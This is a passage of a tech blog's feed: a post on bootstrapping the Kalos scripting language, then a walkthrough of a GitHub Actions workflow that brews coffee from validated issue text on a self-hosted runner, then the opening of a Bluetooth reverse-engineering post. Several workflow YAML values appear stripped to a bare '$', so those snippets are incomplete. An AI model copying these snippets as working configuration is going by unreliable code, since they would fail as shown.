A4t4bk1wuDcitFsDQbluRKO5F%2Bq0cQt0cEkLu29h7OC8AUCABpN790btIHAWASA0AsHiHQKI5BKBIZQ/QaIyB9iGGAFwJRn1SBYFxMRTAAA1PAmBkQAHl4iME4FemgMoWyUHCCB0MzBiBkSY7wJDbBBC0YYOREDWB0lGHEDBkjeBbV4HxBB6ThVKiuGLHx8ggg2ggaIuEYgdQyLOCwCB8kg6%2BOLEJEwYACgqM0fo4x7gvB%2BCCBEGIdgUgZCCEUCodQ0ndCtIMEYEApgSn6DwOECDkBFizoEIpistGvCTKoAoQwKRmF9lrPWCsjZmzEArIW5E5BkNERIgQCsI0Msliy5pnLFYXzvCYB0QrjUSsVgq%2BgKrxYat1dEI1wdzXCAdabFEVreA6wVmQAgfDmBwNtEqB0ewGZRieFaQEaYRQSggCUQkJIKQBBLb0DkXbDBejrbmK0do1RJj7daRUKoAguj1BO/0aIW2JjdGu0MboT3ZilEWKelYawJCbu3cB6TR6OCHHelaCswZKIBeANMpR1wNDI4HLgQgJAjpcHmLwaDWhMakAfVsGI1xJAxA0JIK0XgYjk7euTmIb19CcCA6QPdB7wfgcg9e29ix4OIBAMp5AqmSDodNMQKzyhDBtCEAgYke6r2YboA11Ikvgi0Bl3LkDivsMoDw0YQjxHtdRFo6pjXyI2e8EF08cXinLeqEqDUP4YGPPCFEOIdzTn5BKDUCBvz%2Bh8NBbMKF8L8AosDpi5wOLCWKxJZSzYNLAU2uDZq/lprxWBvldG5l7Lw3uvK4EGnpqpWk859y3n3rRWi/J%2BGxl8bk2jDTaWADtzQw/iq%2Bl7L836nySYHWFe5Een4hmaZxwHdrOQPg/wipogSKocw8kHD/DiPkeo4gI4Fk6OZ9Y5x9zmDBOH0%2BGuD4Y/J/T8j5Zxb0DHBOdQZ58DjgWxQfs%2Bd3ju9pBDRZpAJIIAA%3D%3D%3D">is available on Godbolt</a> or <a href="https://gist.github.com/mmastrac/4c00b7790c8a13e13d1baca08b1b9cd6">as a Gist</a>.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Bootstrapping a language]]></title>
		<link href="https://grack.com/blog/2022/12/16/painting-myself-in-a-bootstrapping-corner/"/>
		<updated>2022-12-16T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2022/12/16/painting-myself-in-a-bootstrapping-corner</id>
		<content type="html"><![CDATA[<p>I was hoping to make more progress on self-hosting my scripting language (<a href="https://github.com/mmastrac/kalos">Kalos</a>) this week, but I’m running out of steam because I think I coded myself into a corner. This is not a post where I’ve got everything figured out, but instead I’m taking a few moments to re-hash where things are at and figure out a plan for the future.</p>

<p>My original plan for this language was to offer a Python-like experience with minimal resource requirements: it should be able to run on an AVR, on bare metal, or even as part of a DOS executable. I had originally planned to support compilation on those devices, and even built a <a href="https://github.com/mmastrac/kalos/blob/289d15ec84f6da01961e9c1eb6951f9f8c88586c/src/kalos_parse.c">zero-allocation parser</a>. The runtime is lightweight, integers are a configurable size, and strings are even optional. I believe it’ll be a great option on lower-end devices where Python is just too heavy.</p>

<p>Over the last week I started work to extract a small piece of the parser that deals with KIDL (example of KIDLE below), the part of the language that glues it to your C code. This is currently part of the existing parser, and the only piece that I could think of to carve off on the slow march to true self-hosting.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">idl</span> <span class="p">{</span>
    <span class="n">prefix</span> <span class="s">"kalos_module_idl_"</span><span class="p">;</span>
    <span class="n">dispatch</span> <span class="n">name</span><span class="p">;</span>

    <span class="n">module</span> <span class="n">builtin</span> <span class="p">{</span>
        <span class="k">fn</span> <span class="nf">println</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="n">string</span><span class="p">)</span> <span class="o">=</span> <span class="n">kalos_idl_compiler_println</span><span class="p">;</span>
        <span class="k">fn</span> <span class="nf">print</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="n">string</span><span class="p">)</span> <span class="o">=</span> <span class="n">kalos_idl_compiler_print</span><span class="p">;</span>
        <span class="k">fn</span> <span class="k">log</span><span class="p">(</span><span class="n">s</span><span class="p">:</span> <span class="n">string</span><span class="p">)</span> <span class="o">=</span> <span class="n">kalos_idl_compiler_log</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="o">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Where I’m stuck now is that the language is <em>almost</em> good enough to parse itself, but I’m finding lots of corner cases and papercut bugs that make it less-than-ideal. For example, I’m finding that the parser as-is is not <a href="https://github.com/mmastrac/kalos/blob/289d15ec84f6da01961e9c1eb6951f9f8c88586c/src/compiler/compiler_idl_out.kalos#LL47C5-L47C9">quite good enough to handle function calls that are deeply nested in expressions</a>.</p>

<p>I also ended up hacking in some <a href="https://github.com/mmastrac/kalos/blob/289d15ec84f6da01961e9c1eb6951f9f8c88586c/src/compiler/compiler_idl_object.kalos">dynamic-dispatch objects</a> that help with not having classes, but that’s not a long-term thing that I want to support in lieu of a proper object/class system.</p>

<p>Eventually I’ll have to commit to rewriting the whole parser in Kalos, but as the title of the post suggests, I’m stuck in a <em>potential energy well</em> where the next steps are going to be difficult. The current parser is written in C and – while the code is pretty clean – it’s a lot of work to make changes to it. It’s going to take some time and effort to add support for things like classes, tear-off functions, etc, and being allocation-free doesn’t make any of this easy.</p>

<p>My mistake was being too ambitious and going right for C as the bootstrap, rather than something higher level. I should have started with Python as the bootstrap!</p>

<p>So I need to gather enough energy to choose and work on one of the following paths:</p>

<ol>
  <li>Commit to rewriting the parser in Kalos, maybe after adding support for hashtables/dicts to the language. The language spec is still small enough that I could port the current parser. Debugging is very difficult, and you need to ensure that you’re running the code while developing it to discover if you’ve accidentally stepped on one of the many landmines. Once I have the parser/compiler in a higher-level language like Kalos itself, these landmines will be much easier to fix!</li>
  <li>Rewrite the parser in Python, knowing that I’ll have to rewrite it in Kalos later. This might not be terrible because the language is supposed to be python-like and there might be a mechanical translation route available. The thought of writing more code to throw away doesn’t fill me with a lot of joy, but it might just be what I have to do.</li>
  <li>Scrap the hand-rolled parser and switch to something like <a href="https://sqlite.org/src/doc/trunk/doc/lemon.html">Lemon</a>. We’re already using the amazing <a href="https://re2c.org/">re2c</a> to write the lexer, so adding another tool isn’t a bad idea. Again, we’re putting in a bunch of effort knowing that this will be tossed away later, but maybe there’s a middle ground like just having Lemon build an AST, then have Kalos script generate the bytecode?</li>
</ol>

]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Hacking Bluetooth to Brew Coffee from GitHub Actions: Part 3 - GitHub Actions]]></title>
		<link href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/"/>
		<updated>2022-12-04T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3</id>
		<content type="html"><![CDATA[<p>This is the last part of a three-part series covering the odyssey of getting a new coffeemaker, learning BTLE and how it works, reverse-engineering the Bluetooth interface and Android applications for the coffeemaker, writing a <a href="https://github.com/mmastrac/longshot">Rust-based CLI interface</a>, and finally, hooking it all up to a GitHub actions bot that lets you <a href="https://github.com/mmastrac/brew-a-coffee-demo/">brew a coffee just by filing an issue</a>!</p>

<ul>
  <li><a href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/">Part 1: Introduction</a></li>
  <li><a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">Part 2: Reverse Engineering</a></li>
  <li>
<a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/">Part 3: GitHub Actions</a>
    <ul>
      <li><a href="#getting-started">Getting Started</a></li>
      <li><a href="#extracting-the-command-line">Extracting the Command-Line</a></li>
      <li><a href="#building-the-workflow">Building the Workflow</a></li>
    </ul>
  </li>
</ul>

<p>In <a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">part 2</a> we got the command-line application working, and now it’s time to connect the dots and build a secure, yet web-accessible interface.</p>

<p>We could choose a standard web host, add some sort of authentication on top of it, build the right web tooling to integrate with the nice command-line application we built, and all the associated security so random people can’t brew coffee. But as you’ve guessed from the title of these posts, we’re going hook this command-line app into a private GitHub repo as our “interface”.</p>

<p>Making use of GitHub issues for automating weird things isn’t new, but I think this is the first time you can make coffee from it!</p>

<h2 id="getting-started">Getting Started</h2>

<p>Here’s our goal:</p>

<ol>
  <li>We want to allow users to brew a coffee from a GitHub issue, which will be pre-populated from a number of pre-defined templates</li>
  <li>The issue will contain part of the command-line that we want to run, and we’ll need to validate that it’s reasonable and correct, and that nobody is trying to inject any sort of “funny business” to break/backdoor the runner</li>
  <li>We don’t want coffee brewers to have to chase down the status of the brewing operation, so we’re going to make use of issue comments as our basic UI.  The user will be able to follow the progress of their coffee inside of the issue, and get a notification when it’s done.</li>
</ol>

<p>This is what the user will see just before they brew the coffee:</p>

<p><a class="image standard" href="https://grack.com/assets/2022/12/part-3-brew-template.png"><img src="https://grack.com/_thumbs/c3aa2149543857c4484cd80af5928687-600-600"></a></p>

<p>The first question you might have is how we’re going to talk to a Bluetooth coffeemaker from GitHub’s system. This part turns out to be pretty easy: we can use <a href="https://docs.github.com/en/actions/hosting-your-own-runners/about-self-hosted-runners">GitHub self-hosted runners</a> as a backdoor into the coffeemaker’s physical location! By running this on a computing device that has a Bluetooth radio in proximity to the coffeemaker, we can send commands to it in response to events occurring in a repo. Conveniently the Raspberry Pi 3 Model B and Pi 4<a href="https://www.digikey.com/en/maker/blogs/raspberry-pi-wi-fi-bluetooth-setup-how-to-configure-your-pi-4-model-b-3-model-b"> both support Bluetooth</a>, but in our case we’re going to be using a spare MacBook that’s kicking around.</p>

<p>First thing, we need to create a new runner on GitHub for our project, and then set up the runner on the MacBook:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-O</span> <span class="nt">-L</span> https://github.com/actions/runner/releases/download/<span class="k">${</span><span class="nv">version</span><span class="k">}</span>/actions-runner-osx-x64-<span class="k">${</span><span class="nv">version</span><span class="k">}</span>.tar.gz
<span class="nb">tar </span>xzf ./actions-runner-osx-x64-<span class="k">${</span><span class="nv">version</span><span class="k">}</span>.tar.gz
./config.sh <span class="nt">--url</span> https://github.com/mmastrac/brew-a-coffee <span class="nt">--token</span> <span class="k">${</span><span class="nv">token</span><span class="k">}</span>
./run.sh
</code></pre></div></div>

<p>GitHub actions are pretty flexible and we have a <a href="https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows">huge number of events</a> that can trigger them. In our case, we want the creation of a new issue to trigger a run, so our trigger becomes:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">on</span><span class="pi">:</span>
  <span class="na">issues</span><span class="pi">:</span>
    <span class="na">types</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">opened</span><span class="pi">]</span>
</code></pre></div></div>

<p>We’ll pull in the <code class="language-text highlighter-rouge">create-or-update-comment</code> action from <code class="language-text highlighter-rouge">peter-evans</code> for updating the user about the status of their coffee:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">steps</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Add comment</span>
    <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
</code></pre></div></div>

<p>And once the coffee is brewed or the process has failed for some other reason, we’ll want to close that issue, so we’re going to pull in <code class="language-text highlighter-rouge">peter-evans/close-issue</code> for this:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Close issue</span>
    <span class="na">if</span><span class="pi">:</span> <span class="s">always()</span>
    <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/close-issue@v2</span>
</code></pre></div></div>

<p>The actual brewing part will be pretty easy as well, but it’s going to require use to fetch the text of the issue and use that to create the command-line to run.</p>

<p>Let’s take a look at the event information that GitHub provides to us in <code class="language-text highlighter-rouge">$GITHUB_EVENT_PATH</code>. There’s a lot that GitHub provides for us in this file, and this particular one is trimmed down significantly:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"opened"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"issue"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="err">...</span><span class="w">
        </span><span class="nl">"body"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This is my issue body comment</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">,</span><span class="w">
        </span><span class="err">...</span><span class="w">
        </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This is my issue title!"</span><span class="p">,</span><span class="w">
        </span><span class="err">...</span><span class="w">
    </span><span class="p">}</span><span class="w">
    </span><span class="err">...</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-text highlighter-rouge">jq</code> is one the best tools for integrating JSON APIs with shell scripts, so we’ll make use of that. We’ll create a small test JSON file called <code class="language-text highlighter-rouge">test.json</code> that contains just the interesting subset of what’s available in the file at <code class="language-text highlighter-rouge">$GITHUB_EVENT_PATH</code>:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"opened"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"issue"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"body"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This is my issue body comment</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"This is my issue title!"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>First, we can test extraction of the issue body:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>jq <span class="nt">-r</span> <span class="s1">'.issue.body'</span> &lt; test.json
This is my issue body comment

<span class="err">$</span>
</code></pre></div></div>

<p>That worked, but we’ve got some extra whitespace there. We can trim that with another <code class="language-text highlighter-rouge">jq</code> command, <code class="language-text highlighter-rouge">gsub</code>. By replacing leading or trailing whitespace (<code class="language-text highlighter-rouge">gsub("^\\s+|\\s+$";"")</code>) with nothing, we can get just the text of the comment:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>jq <span class="nt">-r</span> <span class="s1">'.issue.body|gsub("^\\s+|\\s+$";"")'</span> &lt; test.json
This is my issue body comment
<span class="err">$</span>
</code></pre></div></div>

<p>Better!</p>

<h2 id="extracting-the-command-line">Extracting the Command-Line</h2>

<p>Now what we want to do is allow the user to specify the command-line in the issue, but ensure that they can’t run anything nefarious on the runner. We developed a command-line cappuccino recipe in part 2 that we ran like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cargo run <span class="nt">--</span> brew <span class="nt">--beverage</span> cappuccino <span class="nt">--coffee</span> 40 <span class="nt">--milk</span> 100 <span class="nt">--taste</span> extrastrong
</code></pre></div></div>

<p>So let’s extract out everything past the hyphens and make that the required input in our newly-filed issues:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nt">--beverage</span> cappuccino <span class="nt">--coffee</span> 40 <span class="nt">--milk</span> 100 <span class="nt">--taste</span> extrastrong
</code></pre></div></div>

<p>To work on extraction, we’ll update the <code class="language-text highlighter-rouge">issue.body</code> field in our <code class="language-text highlighter-rouge">test.json</code> file to this partial command-line:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"action"</span><span class="p">:</span><span class="w"> </span><span class="s2">"opened"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"issue"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"body"</span><span class="p">:</span><span class="w"> </span><span class="s2">"brew --beverage cappuccino --coffee 40 --milk 100 --taste extrastrong</span><span class="se">\r\n</span><span class="s2">"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Since we are creating a valid partial command-line for our brewing app, we can make use of that fact that we know the exact structure. In this case, we know we want it to:</p>

<ol>
  <li>Start with the subcommand <code class="language-text highlighter-rouge">brew</code>
</li>
  <li>Next, contain the beverage to brew with <code class="language-text highlighter-rouge">--beverage &lt;something&gt;</code>
</li>
  <li>Finally, contain a list of beverage parameters which are limited to <code class="language-text highlighter-rouge">coffee</code>, <code class="language-text highlighter-rouge">milk</code>, <code class="language-text highlighter-rouge">hotwater</code>, <code class="language-text highlighter-rouge">taste</code>, and <code class="language-text highlighter-rouge">temperature</code>. Each parameter is separated from its value by a space (ie: <code class="language-text highlighter-rouge">--coffee 100</code>), and is either a number or an enumeration value (ie: <code class="language-text highlighter-rouge">--taste strong</code>).</li>
</ol>

<p>We can then build a regular expression that will be limited to just the arguments we’re allowing here. We’ll use the <code class="language-text highlighter-rouge">\w</code> character class as it’s a close match to the values required by our parameters.</p>

<p>We could go further in validating the <code class="language-text highlighter-rouge">--beverage</code> parameter, or the values for the ingredients, but we know that those are carefully checked in the application and we’ll let the application handle the validation:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^brew --beverage \w+( --(coffee|milk|taste|hotwater|temperature) \w+)*$
</code></pre></div></div>

<p>Now we can put it all together and extract the command-line like so (note that we have to escape the <code class="language-text highlighter-rouge">\w</code> patterns in regular expression):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">CMDLINE</span><span class="o">=</span><span class="si">$(</span>jq <span class="nt">-r</span> <span class="s1">'.issue.body|gsub("^\\s+|\\s+$";"")|select(test("^brew --beverage \\w+( --(coffee|milk|taste|hotwater|temperature) \\w+)*$"))'</span> &lt; <span class="nv">$GITHUB_EVENT_PATH</span><span class="si">)</span>
</code></pre></div></div>

<p>And that’s probably the only tricky part of the process. Now we can build our GitHub action, piece-by-piece.</p>

<h2 id="building-the-workflow">Building the Workflow</h2>

<p>First, the preamble that tells GitHub where and when to run the action, and what permissions it has:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">Brew</span>

<span class="na">on</span><span class="pi">:</span>
  <span class="na">issues</span><span class="pi">:</span>
    <span class="na">types</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">opened</span><span class="pi">]</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">build</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">self-hosted</span>
    <span class="na">permissions</span><span class="pi">:</span>
      <span class="na">issues</span><span class="pi">:</span> <span class="s">write</span>

<span class="na">steps</span><span class="pi">:</span>
</code></pre></div></div>

<p>Our first step will drop a comment into the issue so the user knows things are happening</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Add initial comment</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
        <span class="na">id</span><span class="pi">:</span> <span class="s">comment</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">issue-number</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">body</span><span class="pi">:</span> <span class="s1">'</span><span class="nv"> </span><span class="s">-</span><span class="nv"> </span><span class="s">[X]</span><span class="nv"> </span><span class="s">Getting</span><span class="nv"> </span><span class="s">ready</span><span class="nv"> </span><span class="s">to</span><span class="nv"> </span><span class="s">brew</span><span class="nv"> </span><span class="s">your</span><span class="nv"> </span><span class="s">☕️!'</span>
</code></pre></div></div>

<p>We’ll then install the <code class="language-text highlighter-rouge">longshot</code> executable from <code class="language-text highlighter-rouge">cargo</code> and let them know it was done:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Install longshot</span>
        <span class="na">run</span><span class="pi">:</span> <span class="s">cargo install --root /tmp/longshot -- longshot</span> 
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Update comment</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">issue-number</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">comment-id</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">body</span><span class="pi">:</span> <span class="s1">'</span><span class="nv"> </span><span class="s">-</span><span class="nv"> </span><span class="s">[X]</span><span class="nv"> </span><span class="s">Installed</span><span class="nv"> </span><span class="s">the</span><span class="nv"> </span><span class="s">`longshot`</span><span class="nv"> </span><span class="s">executable'</span>
</code></pre></div></div>

<p>Next, we’ll process the requested brew operation using the <code class="language-text highlighter-rouge">jq</code> incantation from earlier. This step will create a <code class="language-text highlighter-rouge">body.md</code> that we’ll use to update the comment, as well as <code class="language-text highlighter-rouge">cmdline.txt</code> that will be used to execute our brewing operation later on:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Process the request</span>
        <span class="na">run</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">OUTFILE=body.md</span>
          <span class="s">CMDLINE=$(</span>
            <span class="s">jq -r '</span>
              <span class="s">.issue.body |</span>
              <span class="s">gsub("^\\s+|\\s+$";"") |</span>
              <span class="s">select(</span>
                <span class="s">test("^brew --beverage \\w+( --(coffee|milk|taste|hotwater|temperature) \\w+)*$")</span>
              <span class="s">)' &lt; $GITHUB_EVENT_PATH</span>
          <span class="s">)</span>
          <span class="s">echo Command-line we parsed was: $CMDLINE</span>
          <span class="s">if [[ "$CMDLINE" == "" ]]; then</span>
            <span class="s">echo " - [X] Couldn't parse the command line from your comment? 🤔" &gt; $OUTFILE</span>
            <span class="s">exit 1</span>
          <span class="s">fi</span>
          <span class="s">echo -n ' - [X]' Running brew command: \`$CMDLINE\` &gt; $OUTFILE</span>
          <span class="s">echo ' [(Log here)](https://github.com/'${GITHUB_REPOSITORY}'/actions/runs/'${GITHUB_RUN_ID}')' &gt;&gt; $OUTFILE</span>
          <span class="s">echo "/tmp/longshot/bin/longshot $CMDLINE --device-name $" &gt; cmdline.txt</span>
</code></pre></div></div>

<p>We then update the comment with <code class="language-text highlighter-rouge">body.md</code>:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Update comment</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">issue-number</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">comment-id</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">body-file</span><span class="pi">:</span> <span class="s">body.md</span>
</code></pre></div></div>

<p>And run the brewing command:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Brew coffee</span>
        <span class="na">run</span><span class="pi">:</span> <span class="pi">|</span>
          <span class="s">echo '&lt;details&gt;&lt;summary&gt;Log&lt;/summary&gt;&lt;pre&gt;' &gt; log.md</span>
          <span class="s">sh -c "`cat cmdline.txt`" | tee -a log.md</span>
          <span class="s">echo '&lt;/pre&gt;&lt;/details&gt;' &gt;&gt; log.md</span>
          <span class="s">echo '✅ Success!' &gt;&gt; log.md</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Update comment on success</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">issue-number</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">comment-id</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">body-file</span><span class="pi">:</span> <span class="s">log.md</span>
</code></pre></div></div>

<p>Finally, we’ll log a message to the comment on an error, and close the issue unconditionally:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Update comment on failure</span>
        <span class="na">if</span><span class="pi">:</span> <span class="s">failure()</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/create-or-update-comment@v2</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">issue-number</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">comment-id</span><span class="pi">:</span> <span class="s">$</span>
          <span class="na">body</span><span class="pi">:</span> <span class="pi">|</span>
            <span class="s">&lt;br&gt;</span>
            <span class="s">❌ Failed! Please check the log for the reason.</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Close issue</span>
        <span class="na">if</span><span class="pi">:</span> <span class="s">always()</span>
        <span class="na">uses</span><span class="pi">:</span> <span class="s">peter-evans/close-issue@v2</span>
</code></pre></div></div>

<p>And with all those steps, we can get ourselves a coffee from GitHub!</p>

<p><video src="https://grack.com/assets/2022/12/part-3-brewing-github.mp4" autoplay="" controls=""></video></p>
<!-- <a class='image standard' href='https://grack.com/assets/2022/12/part-3-brew-template-complete.png'><img src='https://grack.com/_thumbs/e8c03c545a36144f86f5bb7bec39f9ef-600-600' /></a> -->

<p>While you can’t access my private repository that I’m using to brew us coffee at home, you can definitely try out the example repo that I’ve set up here which uses the command-line interface’s simulator and runs on GitHub’s action runners instead:</p>

<p><a href="https://github.com/mmastrac/brew-a-coffee-demo">https://github.com/mmastrac/brew-a-coffee-demo</a></p>

<p>To recap, we:</p>

<ul>
  <li><a href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/">Figured out how to talk to the coffeemaker over Bluetooth and sniffed some packets</a></li>
  <li><a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">Reverse engineered the application, figured out how to construct packets, and implemented a command-line applications</a></li>
  <li>And finally, <a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/">hooked the entire system up to GitHub actions!</a>
</li>
</ul>

<p><strong><em><a href="https://hachyderm.io/@mmastrac">Follow me on Mastadon</a> for more updates on this adventure!</em></strong></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Hacking Bluetooth to Brew Coffee from GitHub Actions: Part 2 - Reverse Engineering]]></title>
		<link href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/"/>
		<updated>2022-12-02T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2</id>
		<content type="html"><![CDATA[<p>This is part 2 of a three-part series covering the odyssey of getting a new coffeemaker, learning BTLE and how it works, reverse-engineering the Bluetooth interface and Android applications for the coffeemaker, writing a <a href="https://github.com/mmastrac/longshot">Rust-based CLI interface</a>, and finally, hooking it all up to a GitHub actions bot that lets you <a href="https://github.com/mmastrac/brew-a-coffee-demo/">brew a coffee just by filing an issue</a>!</p>

<ul>
  <li><a href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/">Part 1: Introduction</a></li>
  <li>
<a href="https://grack.com/blog/2022/12/02/hacking-bluetooth-to-brew-coffee-on-github-actions-part-2/">Part 2: Reverse Engineering</a>
    <ul>
      <li><a href="#understanding-the-packets">Understanding the Packets</a></li>
      <li><a href="#disassembling-the-delonghi-apk">Disassembling the Delonghi APK</a></li>
      <li><a href="#revisiting-the-brew-command">Revisiting the Brew Command</a></li>
      <li><a href="#further-reading-for-this-post">Further Reading</a></li>
    </ul>
  </li>
  <li><a href="https://grack.com/blog/2022/12/04/hacking-bluetooth-to-brew-coffee-on-github-actions-part-3/">Part 3: GitHub Actions</a></li>
</ul>

<p>In <a href="https://grack.com/blog/2022/12/01/hacking-bluetooth-to-brew-coffee-on-github-actions-part-1/">part 1</a> we got our coffeemaker brewing using a sniffed command that we logged from the actual application, and then sent to the coffeemaker using a small Rust program. However, we don’t really understand the language we’re speaking yet, we’re just repeating the application-to-device babbling we’ve snooped.</p>

<h2 id="understanding-the-packets">Understanding the Packets</h2>

<p>Now that we know that we can send a request, we want to understand what the format of the request looks like. The first thing we want to do is understand what a packet is. A packet is a chunk of data of a defined length, in contrast to a <em>stream</em> of data that continues indefinitely. Packets are used throughout most communication technologies and are a fundamental way of describing discrete communication messages.</p>

<p>When dealing with embedded devices, packets will almost always have a header, and sometimes a footer. The header and footer are called the <a href="https://en.wikipedia.org/wiki/Ethernet_frame">framing</a> of the packet, and they delimit it so we can identify exactly where it starts and stop.</p>

<p>Inside the header and footer might be things like <em>start-of-packet</em>, or <em>end-of-packet</em> markers, and a length for framing. There may also be additional metadata like a <a href="https://en.wikipedia.org/wiki/Checksum">checksum</a> to detect corruption.</p>

